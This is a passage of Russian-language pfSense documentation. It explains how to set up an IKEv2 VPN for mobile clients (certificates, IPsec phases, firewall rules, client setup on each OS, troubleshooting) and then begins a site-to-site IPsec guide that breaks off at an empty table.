| Характеристика | IKEv2 | OpenVPN | WireGuard |
|---|---|---|---|
| Встроенная поддержка в ОС | Windows, macOS, iOS, Android | Нет | Нет |
| Скорость подключения | Менее 1 секунды | 5-10 секунд | Менее 1 секунды |
| Поддержка MOBIKE | Да (переключение между Wi-Fi и LTE) | Нет | Да |
| Стандартизация | RFC 7296 | Проприетарный | Нестандартный |
| Аутентификация | Сертификаты, EAP-MSCHAPv2 | Сертификаты, пароли | Pre-shared keys |
| NAT-T | Встроенная | Встроенная (UDP/TCP) | Встроенная |

MOBIKE (IKEv2 Mobility and Multihoming Protocol, RFC 4555) позволяет VPN-соединению сохраняться при смене сетевого интерфейса - например, при переключении с Wi-Fi на мобильную сеть. Для мобильных пользователей это критически важная функция.

## Подготовка сертификатов

IKEv2 для мобильных клиентов требует инфраструктуру открытых ключей (PKI). Необходимо создать три типа сертификатов: корневой сертификат центра сертификации (CA), серверный сертификат и пользовательские сертификаты (при использовании сертификатной аутентификации).

### Создание центра сертификации (CA)

Перейдите в **System > Cert. Manager > CAs** и нажмите **Add**.

| Поле | Значение | Пояснение |
|---|---|---|
| Descriptive Name | `IKEv2 VPN CA` | Имя для идентификации CA |
| Method | Create an internal Certificate Authority | Создание нового CA |
| Key type | RSA | Совместимость со всеми клиентами |
| Key length | 4096 | Минимум 2048 для производственной среды |
| Digest Algorithm | SHA256 | Стандартный алгоритм хеширования |
| Lifetime | 3650 | 10 лет, достаточно для корневого CA |
| Common Name | `IKEv2 VPN CA` | Уникальное имя CA |
| Country Code | (ваш код страны) | Двухбуквенный код ISO 3166-1 |
| State or Province | (ваш регион) | Название региона |
| City | (ваш город) | Название города |
| Organization | (ваша организация) | Название организации |

Нажмите **Save**. Корневой сертификат CA будет использоваться для подписания серверного и пользовательских сертификатов.

### Создание серверного сертификата

Перейдите в **System > Cert. Manager > Certificates** и нажмите **Add/Sign**.

| Поле | Значение | Пояснение |
|---|---|---|
| Method | Create an internal Certificate | Создание нового сертификата |
| Descriptive Name | `IKEv2 VPN Server` | Имя для идентификации |
| Certificate authority | `IKEv2 VPN CA` | CA, созданный на предыдущем шаге |
| Key type | RSA | Совместимость со всеми клиентами |
| Key length | 2048 | Достаточно для серверного сертификата |
| Digest Algorithm | SHA256 | Стандартный алгоритм |
| Lifetime | 825 | Apple ограничивает срок действия серверных сертификатов до 825 дней |
| Common Name | `vpn.example.com` | FQDN сервера или публичный IP-адрес |
| Certificate Type | Server Certificate | Тип серверного сертификата |

> **Внимание**:
>
> В поле **Alternative Names** необходимо добавить SAN (Subject Alternative Name) типа **FQDN** или **IP Address**, совпадающий с адресом, к которому подключаются клиенты. Без SAN клиенты Windows и iOS откажут в подключении. Если используется IP-адрес, добавьте SAN типа IP Address; если используется доменное имя - SAN типа FQDN.

> **Внимание**:
>
> Apple-устройства (macOS, iOS) не принимают серверные сертификаты с Lifetime более 825 дней. При превышении этого значения подключение завершится ошибкой проверки сертификата.

### Создание пользовательских сертификатов

Пользовательские сертификаты необходимы только при использовании аутентификации на основе сертификатов. При использовании EAP-MSCHAPv2 (аутентификация по логину и паролю) этот шаг можно пропустить.

Для каждого пользователя перейдите в **System > Cert. Manager > Certificates** и нажмите **Add/Sign**.

| Поле | Значение | Пояснение |
|---|---|---|
| Method | Create an internal Certificate | Создание нового сертификата |
| Descriptive Name | `user-ivanov` | Имя пользователя для идентификации |
| Certificate authority | `IKEv2 VPN CA` | Тот же CA |
| Key type | RSA | Совместимость со всеми клиентами |
| Key length | 2048 | Достаточно для пользовательского сертификата |
| Digest Algorithm | SHA256 | Стандартный алгоритм |
| Lifetime | 365 | 1 год - рекомендуемый срок для пользовательских сертификатов |
| Common Name | `user-ivanov` | Уникальный идентификатор пользователя |
| Certificate Type | User Certificate | Тип пользовательского сертификата |

Для экспорта пользовательского сертификата в формате PKCS#12 (.p12) перейдите в **System > Cert. Manager > Certificates**, найдите нужный сертификат и нажмите иконку экспорта PKCS#12. Этот файл содержит сертификат и закрытый ключ, защищённый паролем.

## Настройка Mobile Clients

Конфигурация мобильных клиентов выполняется в разделе **VPN > IPsec > Mobile Clients**.

### Вкладка Mobile Clients

| Поле | Значение | Пояснение |
|---|---|---|
| Enable IPsec Mobile Client Support | Установлен | Активирует поддержку мобильных клиентов |
| User Authentication | Local Database | Локальная база пользователей pfSense (или RADIUS) |
| Group Authentication | (по необходимости) | Ограничение по группе |
| Virtual Address Pool | Provide a virtual IP address to clients | Выдача IP-адресов клиентам |
| Network List | Provide a list of accessible networks to clients | Передача списка сетей для split tunnel |

#### Virtual Address Pool

| Поле | Значение | Пояснение |
|---|---|---|
| Virtual Address Pool | `10.10.10.0/24` | Пул адресов для VPN-клиентов |

Подсеть пула не должна пересекаться с существующими локальными подсетями.

#### DNS Servers

| Поле | Значение | Пояснение |
|---|---|---|
| Provide a DNS server list to clients | Установлен | Передача DNS-серверов клиентам |
| DNS Server 1 | `10.1.0.1` | Адрес локального DNS-сервера |
| DNS Server 2 | `1.1.1.1` | Резервный публичный DNS |

Нажмите **Save**. pfSense предложит создать Phase 1 - нажмите на ссылку для перехода к настройке.

## Настройка Phase 1

Phase 1 для мобильных клиентов настраивается в разделе **VPN > IPsec > Tunnels**. После сохранения настроек Mobile Clients pfSense автоматически создаёт запись Phase 1 с типом `mobile`.

![Phase 1 configuration for mobile clients](/img/pfsense/pfsense-ipsec-mobile-phase1.webp)
<p style="text-align: center;">Рис. 1. Настройка Phase 1 для мобильных клиентов</p>

### General Information

| Поле | Значение | Пояснение |
|---|---|---|
| Key Exchange version | IKEv2 | Обязательно IKEv2 для мобильных клиентов |
| Internet Protocol | IPv4 | Или IPv6, в зависимости от адресации |
| Interface | WAN | Интерфейс для приёма подключений |
| Description | `IKEv2 Mobile Clients` | Описание для идентификации |

### Phase 1 Proposal - Authentication

| Поле | Значение | Пояснение |
|---|---|---|
| Authentication Method | EAP-MSCHAPv2 | Аутентификация по логину и паролю |
| My identifier | Distinguished Name: `vpn.example.com` | Должен совпадать с CN или SAN серверного сертификата |
| Peer identifier | Any | Мобильные клиенты - идентификатор неизвестен заранее |
| My Certificate | `IKEv2 VPN Server` | Серверный сертификат, созданный ранее |
| My Certificate Authority | `IKEv2 VPN CA` | CA, подписавший серверный сертификат |

При использовании сертификатной аутентификации вместо EAP-MSCHAPv2 выберите **Authentication Method: Mutual RSA** и укажите соответствующий CA для проверки клиентских сертификатов.

> **Внимание**:
>
> При использовании EAP-MSCHAPv2 необходимо создать пользователей в **System > User Manager** с паролями. Эти учётные данные используются для аутентификации VPN-подключений.

### Phase 1 Proposal - Encryption Algorithm

| Поле | Значение | Пояснение |
|---|---|---|
| Algorithm | AES-256-GCM | Аутентифицированное шифрование с аппаратным ускорением |
| Key Length | 256 bits (auto) | При AES-GCM длина ключа определяется автоматически |
| Hash | SHA256 | PRF (Pseudo-Random Function) |
| DH Group | 14 (2048 bit) | Минимально рекомендуемая группа |

Для совместимости с более широким спектром клиентов допускается добавление дополнительных Encryption Algorithm. Рекомендуемый набор:

| Algorithm | Hash | DH Group | Примечание |
|---|---|---|---|
| AES-256-GCM | SHA256 | 14 | Основной (Windows 10/11, macOS, iOS) |
| AES-256-CBC | SHA256 | 14 | Резервный (Android, устаревшие клиенты) |

### Expiration and Replacement

| Поле | Значение | Пояснение |
|---|---|---|
| Life Time | 28800 | 8 часов |
| Rekey Time | (пусто) | Автоматический расчёт |
| Reauth Time | (пусто) | Автоматический расчёт |

### Advanced Options

| Поле | Значение | Пояснение |
|---|---|---|
| NAT Traversal | Auto | Автоматическое определение NAT |
| MOBIKE | Enable | Поддержка переключения между сетями |
| Dead Peer Detection | Enabled | Обнаружение отключённых клиентов |
| DPD Delay | 30 | Интервал DPD в секундах |
| DPD Max Failures | 5 | Количество неответов до отключения |

> **Внимание**:
>
> MOBIKE необходимо включить для мобильных клиентов. Без MOBIKE VPN-соединение разрывается при смене сети (например, при переходе с Wi-Fi на LTE).

## Настройка Phase 2

После сохранения Phase 1 необходимо создать Phase 2. Нажмите **Show Phase 2 Entries**, затем **Add P2**.

![Phase 2 configuration for mobile clients](/img/pfsense/pfsense-ipsec-mobile-phase2.webp)
<p style="text-align: center;">Рис. 2. Настройка Phase 2 для мобильных клиентов</p>

### General Information

| Поле | Значение | Пояснение |
|---|---|---|
| Mode | Tunnel IPv4 | Стандартный режим |
| Local Network | LAN subnet | Или конкретная подсеть: `10.1.0.0/24` |
| NAT/BINAT | None | Без трансляции адресов |
| Description | `IKEv2 Mobile - LAN Access` | Описание Phase 2 |

При необходимости доступа к нескольким подсетям (LAN, DMZ, серверная сеть) следует создать отдельную запись Phase 2 для каждой подсети.

### Phase 2 Proposal

| Поле | Значение | Пояснение |
|---|---|---|
| Protocol | ESP | Шифрование и аутентификация трафика |
| Encryption Algorithms | AES-256-GCM | Должен соответствовать возможностям клиентов |
| Hash Algorithms | SHA256 | Для совместимости с клиентами без поддержки GCM |
| PFS key group | 14 (2048 bit) | Perfect Forward Secrecy |

### Expiration and Replacement

| Поле | Значение | Пояснение |
|---|---|---|
| Life Time | 3600 | 1 час |
| Rekey Time | (пусто) | Автоматический расчёт |

## Правила файрвола

Для работы IKEv2 VPN необходимо создать правила на двух вкладках: **WAN** и **IPsec**.

### Правила на WAN-интерфейсе

На WAN-интерфейсе должен быть разрешён входящий трафик для установления IKE-соединений.

| Действие | Протокол | Источник | Порт назначения | Описание |
|---|---|---|---|---|
| Pass | UDP | Any | 500 | IKE - обмен ключами |
| Pass | UDP | Any | 4500 | NAT-T - инкапсуляция ESP в UDP |

pfSense автоматически создаёт правила для IKE-трафика при наличии настроенных IPsec-туннелей. Однако при использовании плавающих правил или нестандартной конфигурации файрвола может потребоваться явное добавление этих правил.

### Правила на вкладке IPsec

Вкладка **Firewall > Rules > IPsec** управляет трафиком, проходящим через VPN-туннель. По умолчанию весь трафик блокируется.

Минимальный набор правил:

| Действие | Протокол | Источник | Назначение | Описание |
|---|---|---|---|---|
| Pass | Any | `10.10.10.0/24` | LAN net | Разрешить трафик из VPN-пула в LAN |
| Pass | Any | `10.10.10.0/24` | `10.10.10.0/24` | Разрешить трафик между VPN-клиентами |

В производственной среде рекомендуется ограничивать правила конкретными протоколами и портами. Например, разрешить только DNS (UDP/TCP 53), RDP (TCP 3389), SSH (TCP 22) и HTTPS (TCP 443).

Более подробно о правилах файрвола описано в разделе [Правила файрвола pfSense](/docs/pfsense/firewall/pfsense-firewall-rules/).

## Настройка клиентов

### Windows 10/11

Windows 10 и 11 поддерживают IKEv2 через встроенный VPN-клиент. Для подключения необходимо импортировать сертификат CA и создать VPN-подключение.

#### Импорт сертификата CA

1. Экспортируйте сертификат CA из pfSense: **System > Cert. Manager > CAs** - нажмите иконку экспорта CA Certificate.
2. Скопируйте файл `.crt` на компьютер с Windows.
3. Откройте файл `.crt` двойным щелчком.
4. Нажмите **Install Certificate**.
5. Выберите **Local Machine** и нажмите **Next**.
6. Выберите **Place all certificates in the following store** и нажмите **Browse**.
7. Выберите **Trusted Root Certification Authorities** и нажмите **OK**.
8. Нажмите **Next**, затем **Finish**.

> **Внимание**:
>
> Сертификат CA необходимо установить в хранилище **Trusted Root Certification Authorities** компьютера (Local Machine), а не пользователя (Current User). В противном случае Windows не сможет проверить серверный сертификат.

#### Создание VPN-подключения

1. Откройте **Settings > Network & Internet > VPN**.
2. Нажмите **Add a VPN connection**.
3. Заполните параметры:

| Поле | Значение |
|---|---|
| VPN provider | Windows (built-in) |
| Connection name | `Office VPN` |
| Server name or address | `vpn.example.com` |
| VPN type | IKEv2 |
| Type of sign-in info | User name and password |
| User name | (имя пользователя из pfSense) |
| Password | (пароль пользователя) |

4. Нажмите **Save**.
5. Для подключения нажмите на созданное VPN-соединение и нажмите **Connect**.

#### Усиление безопасности на Windows

По умолчанию Windows может использовать слабые алгоритмы шифрования. Для принудительного использования стойких алгоритмов выполните в PowerShell от имени администратора:

```powershell
Set-VpnConnectionIPsecConfiguration -ConnectionName "Office VPN" `
    -AuthenticationTransformConstants GCMAES256 `
    -CipherTransformConstants GCMAES256 `
    -EncryptionMethod AES256 `
    -IntegrityCheckMethod SHA256 `
    -DHGroup Group14 `
    -PfsGroup PFS2048 `
    -Force
```

### macOS

macOS поддерживает IKEv2 через встроенные средства. Для настройки необходимо импортировать сертификат CA и создать сетевой профиль.

#### Импорт сертификата CA

1. Экспортируйте сертификат CA из pfSense в формате `.crt`.
2. Откройте файл на macOS - откроется Keychain Access.
3. Добавьте сертификат в **System** keychain.
4. Откройте добавленный сертификат двойным щелчком.
5. В разделе **Trust** установите **When using this certificate** в значение **Always Trust**.
6. Закройте окно и введите пароль администратора для подтверждения.

#### Создание VPN-подключения

1. Откройте **System Settings > VPN** (macOS 13+) или **System Preferences > Network** (macOS 12 и ранее).
2. Нажмите **Add VPN Configuration > IKEv2**.
3. Заполните параметры:

| Поле | Значение |
|---|---|
| Display Name | `Office VPN` |
| Server Address | `vpn.example.com` |
| Remote ID | `vpn.example.com` |
| Local ID | (оставьте пустым) |
| User Authentication | Username |
| Username | (имя пользователя из pfSense) |
| Password | (пароль пользователя) |

4. Нажмите **Create**.
5. Для подключения переключите переключатель VPN-соединения.

### iOS

iOS поддерживает IKEv2 без установки дополнительных приложений.

#### Установка профиля с CA-сертификатом

1. Экспортируйте сертификат CA из pfSense.
2. Отправьте файл `.crt` на устройство (через AirDrop, email или веб-сервер).
3. Откройте файл на устройстве - появится предложение установить профиль.
4. Перейдите в **Settings > General > VPN & Device Management**.
5. Нажмите на загруженный профиль и нажмите **Install**.
6. После установки перейдите в **Settings > General > About > Certificate Trust Settings**.
7. Включите доверие к установленному CA-сертификату.

#### Создание VPN-подключения

1. Перейдите в **Settings > General > VPN & Device Management > VPN**.
2. Нажмите **Add VPN Configuration**.
3. Заполните параметры:

| Поле | Значение |
|---|---|
| Type | IKEv2 |
| Description | `Office VPN` |
| Server | `vpn.example.com` |
| Remote ID | `vpn.example.com` |
| Local ID | (оставьте пустым) |
| User Authentication | Username |
| Username | (имя пользователя из pfSense) |
| Password | (пароль пользователя) |

4. Нажмите **Done**.
5. Для подключения переключите переключатель VPN в настройках.

### Android

Android поддерживает IKEv2 начиная с версии 11 через встроенный VPN-клиент. Для более ранних версий потребуется приложение strongSwan VPN Client из Google Play.

#### Android 11 и новее (встроенный клиент)

1. Экспортируйте сертификат CA из pfSense.
2. Перейдите в **Settings > Security > Encryption & credentials > Install a certificate**.
3. Выберите **CA certificate** и установите файл `.crt`.
4. Перейдите в **Settings > Network & Internet > VPN**.
5. Нажмите **+** для добавления нового VPN-профиля.
6. Заполните параметры:

| Поле | Значение |
|---|---|
| Name | `Office VPN` |
| Type | IKEv2/IPSec MSCHAPv2 |
| Server address | `vpn.example.com` |
| IPSec identifier | (оставьте пустым) |
| IPSec CA certificate | (выберите установленный CA) |
| Username | (имя пользователя из pfSense) |
| Password | (пароль пользователя) |

7. Нажмите **Save**.

#### strongSwan VPN Client (Android 10 и ранее)

1. Установите **strongSwan VPN Client** из Google Play.
2. Импортируйте сертификат CA через приложение.
3. Создайте новый VPN-профиль:

| Поле | Значение |
|---|---|
| Server | `vpn.example.com` |
| VPN Type | IKEv2 EAP (Username/Password) |
| Username | (имя пользователя из pfSense) |
| Password | (пароль пользователя) |
| CA certificate | Select automatically |

4. Нажмите **Save** и подключитесь.

## Split Tunnel и Full Tunnel

Режим туннелирования определяет, какой трафик клиента проходит через VPN.

### Full Tunnel

При полном туннелировании весь трафик клиента направляется через VPN, включая доступ в интернет. Этот режим обеспечивает максимальную защиту, но увеличивает нагрузку на VPN-сервер и канал связи.

Для настройки Full Tunnel:

1. В **VPN > IPsec > Mobile Clients** снимите флажок **Provide a list of accessible networks to clients**.
2. В Phase 2 установите **Local Network** в значение **Network / `0.0.0.0/0`**.
3. Настройте правило NAT для исходящего трафика VPN-клиентов: **Firewall > NAT > Outbound** - добавьте правило для подсети `10.10.10.0/24` с интерфейсом WAN.

> **Внимание**:
>
> При Full Tunnel необходимо настроить Outbound NAT для подсети VPN-клиентов, иначе VPN-клиенты не получат доступ в интернет через туннель.

### Split Tunnel

При раздельном туннелировании через VPN проходит только трафик к указанным сетям. Остальной трафик (включая интернет) идёт через обычное подключение клиента.

Для настройки Split Tunnel:

1. В **VPN > IPsec > Mobile Clients** установите флажок **Provide a list of accessible networks to clients**.
2. В Phase 2 создайте отдельную запись для каждой защищаемой подсети (например, `10.1.0.0/24` для LAN, `10.2.0.0/24` для серверной сети).
3. Список подсетей из Phase 2 будет автоматически передан клиентам.

### Особенности DNS при Split Tunnel

При Split Tunnel DNS-запросы могут направляться как через VPN, так и через локальное подключение. Это создаёт риск утечки DNS - запросы к внутренним доменам могут уходить через провайдера.

Для минимизации утечки DNS:

- Передавайте клиентам DNS-сервер через настройки Mobile Clients.
- На Windows: используйте параметр NRPT (Name Resolution Policy Table) для маршрутизации DNS-запросов к конкретным доменам через VPN.
- На macOS/iOS: DNS-трафик к указанному серверу автоматически направляется через VPN при корректной настройке маршрутов.

## Устранение неполадок

### Клиент не может подключиться

| Проблема | Причина | Решение |
|---|---|---|
| Timeout при подключении | Блокировка UDP 500/4500 | Проверьте правила файрвола на WAN и у провайдера |
| `IKE authentication credentials are unacceptable` | Неверный логин/пароль | Проверьте учётные данные в User Manager |
| `The certificate chain is not trusted` | CA-сертификат не установлен | Установите CA-сертификат в доверенное хранилище на клиенте |
| `The remote server is not responding` | Неверный адрес сервера | Проверьте адрес сервера в настройках клиента и DNS-разрешение |

### Ошибки сертификатов

| Проблема | Причина | Решение |
|---|---|---|
| `Certificate has expired` | Истёк срок действия сертификата | Перевыпустите сертификат в Cert. Manager |
| `Certificate name mismatch` | CN/SAN не совпадает с адресом | Пересоздайте серверный сертификат с корректным SAN |
| iOS отклоняет сертификат | Lifetime > 825 дней | Пересоздайте серверный сертификат с Lifetime 825 или менее |
| Windows: `Error 13801` | Проблема с серверным сертификатом | Убедитесь, что CA установлен в Local Machine, а не Current User |

### Ошибки EAP

| Проблема | Причина | Решение |
|---|---|---|
| `EAP_MSCHAPV2 failed` | Неверные учётные данные | Сбросьте пароль пользователя в User Manager |
| `no EAP method selected` | Неверный Authentication Method | Установите EAP-MSCHAPv2 в Phase 1 |
| Подключение разрывается через 1 секунду | Пользователь не входит в группу | Проверьте групповые ограничения в Mobile Clients |

### Подключение установлено, но нет доступа к ресурсам

| Проблема | Причина | Решение |
|---|---|---|
| Нет пинга до хостов в LAN | Отсутствуют правила на вкладке IPsec | Создайте правила, разрешающие трафик из VPN-пула |
| DNS не работает | DNS-сервер не передан клиенту | Настройте DNS Server в Mobile Clients |
| Нет интернета при Full Tunnel | Отсутствует Outbound NAT | Добавьте правило Outbound NAT для VPN-подсети |

### Диагностические команды

```bash
# View active IKEv2 sessions
ipsec statusall

# View connected mobile clients
ipsec leases

# View IPsec logs in real time
clog -f /var/log/ipsec.log

# Restart IPsec service
ipsec restart
```

## Связанные разделы

- [IPsec Site-to-Site VPN в pfSense](/docs/pfsense/vpn/ipsec/pfsense-ipsec-site-to-site/) - настройка site-to-site туннелей, терминология IPsec и общие принципы конфигурации
- [Диагностика IPsec VPN в pfSense](/docs/pfsense/vpn/ipsec/pfsense-ipsec-troubleshooting/) - систематическая диагностика IPsec, анализ логов и устранение ошибок Phase 1/Phase 2
- [Правила файрвола pfSense](/docs/pfsense/firewall/pfsense-firewall-rules/) - принципы создания и управления правилами файрвола для VPN-трафика


---

# IPsec Site-to-Site VPN в pfSense - настройка туннеля

Source: https://opennix.org/docs/pfsense/vpn/ipsec/pfsense-ipsec-site-to-site/


IPsec (Internet Protocol Security) - стандартизированный набор протоколов для организации защищённых соединений поверх публичных сетей. В отличие от проприетарных VPN-решений, IPsec поддерживается практически всеми сетевыми платформами: pfSense, Cisco ASA, FortiGate, MikroTik, Juniper, а также облачными провайдерами - AWS, Azure, GCP. Это делает IPsec основным выбором при построении site-to-site туннелей между площадками с разнородным оборудованием.

Данное руководство описывает полный цикл настройки IPsec site-to-site VPN в pfSense: от согласования параметров шифрования до диагностики неполадок. Материал рассчитан на сетевых инженеров, имеющих опыт работы с межсетевыми экранами и базовое понимание принципов VPN.

## Терминология IPsec

Прежде чем приступать к настройке, необходимо понимать ключевые термины и концепции протокола.

### IKE - Internet Key Exchange

IKE - протокол согласования параметров безопасности и обмена ключами. Существуют две версии:

| Характеристика | IKEv1 | IKEv2 |
|---|---|---|
| Количество сообщений для установления | 6-9 (Main/Aggressive mode) | 4 |
| Поддержка NAT-T | Требует отдельного согласования | Встроенная |
| Поддержка MOBIKE | Нет | Да |
| Повторная аутентификация | Отсутствует | Встроенная |
| Совместимость | Широкая (legacy-устройства) | Современное оборудование |

Рекомендация: при отсутствии требований совместимости с устаревшим оборудованием следует использовать IKEv2.

### Security Association (SA)

SA - однонаправленное логическое соединение между двумя узлами, определяющее параметры защиты трафика: алгоритм шифрования, алгоритм хеширования, ключевой материал и время жизни. Для двунаправленной связи создаётся пара SA - по одной на каждое направление.

### Phase 1 - канал управления

Phase 1 (IKE SA) устанавливает защищённый канал управления между двумя узлами. На этом этапе происходит:

- Аутентификация сторон (PSK или сертификаты)
- Согласование алгоритмов шифрования и хеширования
- Обмен ключами по протоколу Диффи-Хеллмана
- Создание IKE SA с определённым временем жизни

Phase 1 не передаёт пользовательский трафик - это исключительно служебный канал для согласования параметров Phase 2.

### Phase 2 - канал данных

Phase 2 (Child SA / IPsec SA) определяет, какой трафик защищается и каким образом. На этом этапе согласуются:

- Подсети источника и назначения (Traffic Selectors)
- Алгоритмы шифрования и хеширования для пользовательского трафика
- Протокол инкапсуляции (ESP или AH)
- Группа PFS (Perfect Forward Secrecy)

Одна Phase 1 может обслуживать несколько Phase 2 - например, для передачи трафика между различными подсетями.

### PSK и сертификаты

Для аутентификации сторон используются два основных метода:

- **Pre-Shared Key (PSK)** - общий секретный ключ, заданный на обоих узлах. Простой в настройке, но менее безопасный: компрометация ключа на одном узле ставит под угрозу все туннели, использующие этот ключ.
- **Сертификаты X.509** - аутентификация на основе PKI. Обеспечивает более надёжную проверку подлинности, упрощает масштабирование при большом количестве туннелей и позволяет отзывать отдельные сертификаты без влияния на остальные соединения.

Для site-to-site туннелей между двумя площадками PSK обычно достаточен при условии использования сложного ключа длиной не менее 32 символов. При подключении более пяти площадок рекомендуется переход на сертификаты.

## Предварительные требования

Перед началом настройки необходимо убедиться в выполнении следующих условий.

### Сетевые требования

1. **Статические публичные IP-адреса** на обоих узлах. При отсутствии статического адреса допускается использование Dynamic DNS (DynDNS), однако стабильность туннеля в этом случае снижается.

2. **Непересекающиеся подсети** за обоими узлами. IPsec в режиме policy-based не может маршрутизировать трафик между одинаковыми подсетями. Пример корректной конфигурации:

   - Площадка A: LAN `10.1.0.0/24`
   - Площадка B: LAN `10.2.0.0/24`

   Если подсети совпадают, необходимо выполнить перенумерацию одной из них или использовать NAT/BINAT в Phase 2.

3. **Согласованные параметры шифрования** - обе стороны должны поддерживать одинаковые алгоритмы шифрования, хеширования и группы Диффи-Хеллмана.

### Параметры для согласования с удалённой стороной

Перед настройкой следует согласовать с администратором удалённой площадки:

| Параметр | Пример значения |
|---|---|
| Публичный IP удалённого узла | `203.0.113.10` |
| Версия IKE | IKEv2 |
| Метод аутентификации | PSK |
| Pre-Shared Key | (сложный ключ, 32+ символов) |
| Алгоритм шифрования Phase 1 | AES-256-GCM |
| Hash Phase 1 | SHA256 |
| DH Group | 14 (2048 bit) |
| Lifetime Phase 1 | 28800 секунд |
| Локальная подсеть | `10.1.0.0/24` |
| Удалённая подсеть | `10.2.0.0/24` |
| Алгоритм шифрования Phase 2 | AES-256-GCM |
| PFS Group | 14 (2048 bit) |
| Lifetime Phase 2 | 3600 секунд |

> **Внимание**:
>
> Все параметры Phase 1 и Phase 2 должны совпадать на обоих узлах. Несовпадение даже одного параметра (например, DH Group) приведёт к отказу в установлении туннеля.

## Настройка Phase 1

Phase 1 настраивается в разделе **VPN > IPsec > Tunnels**. Для создания нового туннеля следует нажать кнопку **Add P1**.

![Phase 1 configuration](/img/pfsense/pfsense-ipsec-phase1-edit.webp)
<p style="text-align: center;">Рис. 1. Настройка Phase 1 в веб-интерфейсе pfSense</p>

### General Information

| Поле | Значение | Пояснение |
|---|---|---|
| Disabled | Не установлен | Снятие флага активирует туннель |
| Key Exchange version | IKEv2 | Рекомендуемая версия протокола |
| Internet Protocol | IPv4 | Или IPv6, в зависимости от адресации WAN |
| Interface | WAN | Интерфейс, через который устанавливается туннель |
| Remote Gateway | `203.0.113.10` | IP-адрес или FQDN удалённого узла |
| Description | `Site B - Moscow Office` | Описание для идентификации туннеля |

При использовании FQDN в поле Remote Gateway pfSense будет периодически выполнять DNS-разрешение, что полезно при динамическом IP-адресе удалённой стороны.

### Phase 1 Proposal - Authentication

| Поле | Значение | Пояснение |
|---|---|---|
| Authentication Method | Mutual PSK | Аутентификация по общему ключу |
| My identifier | My IP Address | Автоматически подставляется IP-адрес WAN |
| Peer identifier | Peer IP Address | IP-адрес удалённого узла |
| Pre-Shared Key | (ваш ключ) | Минимум 32 символа, включая буквы, цифры и спецсимволы |

> **Внимание**:
>
> Ключ PSK чувствителен к регистру. Необходимо убедиться в точном совпадении ключей на обоих узлах, включая пробелы и специальные символы.

### Phase 1 Proposal - Encryption Algorithm

Рекомендуемые параметры для современных инсталляций:

| Поле | Значение | Пояснение |
|---|---|---|
| Algorithm | AES-256-GCM | Аутентифицированное шифрование с аппаратным ускорением (AES-NI) |
| Key Length | 256 bits | Максимальная длина ключа |
| Hash | SHA256 | При использовании AES-GCM хеширование выполняется встроенным механизмом GHASH; тем не менее, поле Hash используется для PRF (Pseudo-Random Function) |
| DH Group | 14 (2048 bit) | Минимально рекомендуемая группа |

Допускается добавление нескольких Encryption Algorithm - pfSense и удалённый узел согласуют наиболее стойкий общий вариант. Однако для site-to-site туннелей рекомендуется указывать ровно один набор параметров, совпадающий на обеих сторонах, чтобы исключить неоднозначность.

> **Внимание**:
>
> Алгоритмы DES, 3DES, Blowfish, MD5 и SHA1 считаются устаревшими и не должны использоваться в новых инсталляциях. Группы DH 1, 2, 22, 23, 24 не обеспечивают достаточного уровня безопасности.

### Expiration and Replacement

| Поле | Значение | Пояснение |
|---|---|---|
| Life Time | 28800 | Время жизни IKE SA в секундах (8 часов) |
| Rekey Time | (пусто) | Автоматический расчёт - 90% от Life Time |
| Reauth Time | (пусто) | Автоматический расчёт - 90% от Life Time |
| Rand Time | (пусто) | Автоматический расчёт - 10% от Life Time |

Значение Rand Time вносит случайный разброс во время переключения ключей, предотвращая ситуацию, когда оба узла одновременно инициируют rekeying.

### Advanced Options

| Поле | Значение | Пояснение |
|---|---|---|
| Child SA Start Action | Default | Стандартное поведение |
| NAT Traversal | Auto | Автоматическое определение наличия NAT |
| MOBIKE | Disable | Для site-to-site со статическими IP не требуется |
| Dead Peer Detection | Enabled | Обнаружение недоступности удалённого узла |
| DPD Delay | 10 | Интервал между DPD-запросами в секундах |
| DPD Max Failures | 5 | Количество неответов до признания узла недоступным |

При включённом DPD pfSense будет обнаруживать недоступность удалённого узла примерно через 50-60 секунд (10 секунд * 5 попыток + накладные расходы) и перестроит туннель при восстановлении связи.

## Настройка Phase 2

После сохранения Phase 1 необходимо добавить Phase 2. Для этого следует нажать кнопку **Show Phase 2 Entries**, затем **Add P2**.

![Phase 2 configuration](/img/pfsense/pfsense-ipsec-phase2-edit.webp)
<p style="text-align: center;">Рис. 2. Настройка Phase 2 в веб-интерфейсе pfSense</p>

### General Information

| Поле | Значение | Пояснение |
|---|---|---|
| Disabled | Не установлен | Phase 2 активна |
| Mode | Tunnel IPv4 | Стандартный режим для site-to-site |
| Local Network | LAN subnet | Или указать подсеть вручную: `10.1.0.0/24` |
| NAT/BINAT | None | Без трансляции адресов (при непересекающихся подсетях) |
| Remote Network | Network / `10.2.0.0/24` | Подсеть за удалённым узлом |
| Description | `LAN Site A to LAN Site B` | Описание Phase 2 |

При необходимости защиты трафика между несколькими подсетями (например, LAN и DMZ) следует создать отдельную запись Phase 2 для каждой пары подсетей.

### Phase 2 Proposal - SA/Key Exchange

| Поле | Значение | Пояснение |
|---|---|---|
| Protocol | ESP | Шифрование и аутентификация трафика |
| Encryption Algorithms | AES-256-GCM | Должен совпадать с удалённой стороной |
| Hash Algorithms | SHA256 | При AES-GCM не используется для шифрования, но требуется некоторыми реализациями |
| PFS key group | 14 (2048 bit) | Perfect Forward Secrecy - генерация нового ключевого материала для каждого rekeying |

PFS обеспечивает криптографическую независимость сессионных ключей: компрометация одного ключа не позволяет расшифровать трафик предыдущих или последующих сессий.

> **Внимание**:
>
> Протокол AH (Authentication Header) обеспечивает только аутентификацию без шифрования. В подавляющем большинстве сценариев следует использовать ESP.

### Expiration and Replacement

| Поле | Значение | Пояснение |
|---|---|---|
| Life Time | 3600 | Время жизни Child SA в секундах (1 час) |
| Rekey Time | (пусто) | Автоматический расчёт |
| Rand Time | (пусто) | Автоматический расчёт |

Время жизни Phase 2 должно быть меньше времени жизни Phase 1. Стандартное соотношение - Phase 1: 28800 секунд, Phase 2: 3600 секунд.

### Keep Alive

| Поле | Значение | Пояснение |
|---|---|---|
| Automatically ping host | `10.2.0.1` | IP-адрес хоста в удалённой подсети для поддержания туннеля |

Автоматический ping предотвращает разрыв туннеля при отсутствии пользовательского трафика. В качестве адреса рекомендуется указывать шлюз по умолчанию удалённой подсети или другой постоянно доступный хост.

## Правила файрвола для IPsec

После настройки туннеля необходимо создать правила файрвола, разрешающие прохождение трафика. Требуются правила на двух вкладках: **WAN** и **IPsec**.

### Правила на WAN-интерфейсе

Для установления IPsec-туннеля через WAN-интерфейс должен проходить следующий трафик:

| Протокол | Порт | Назначение |
|---|---|---|
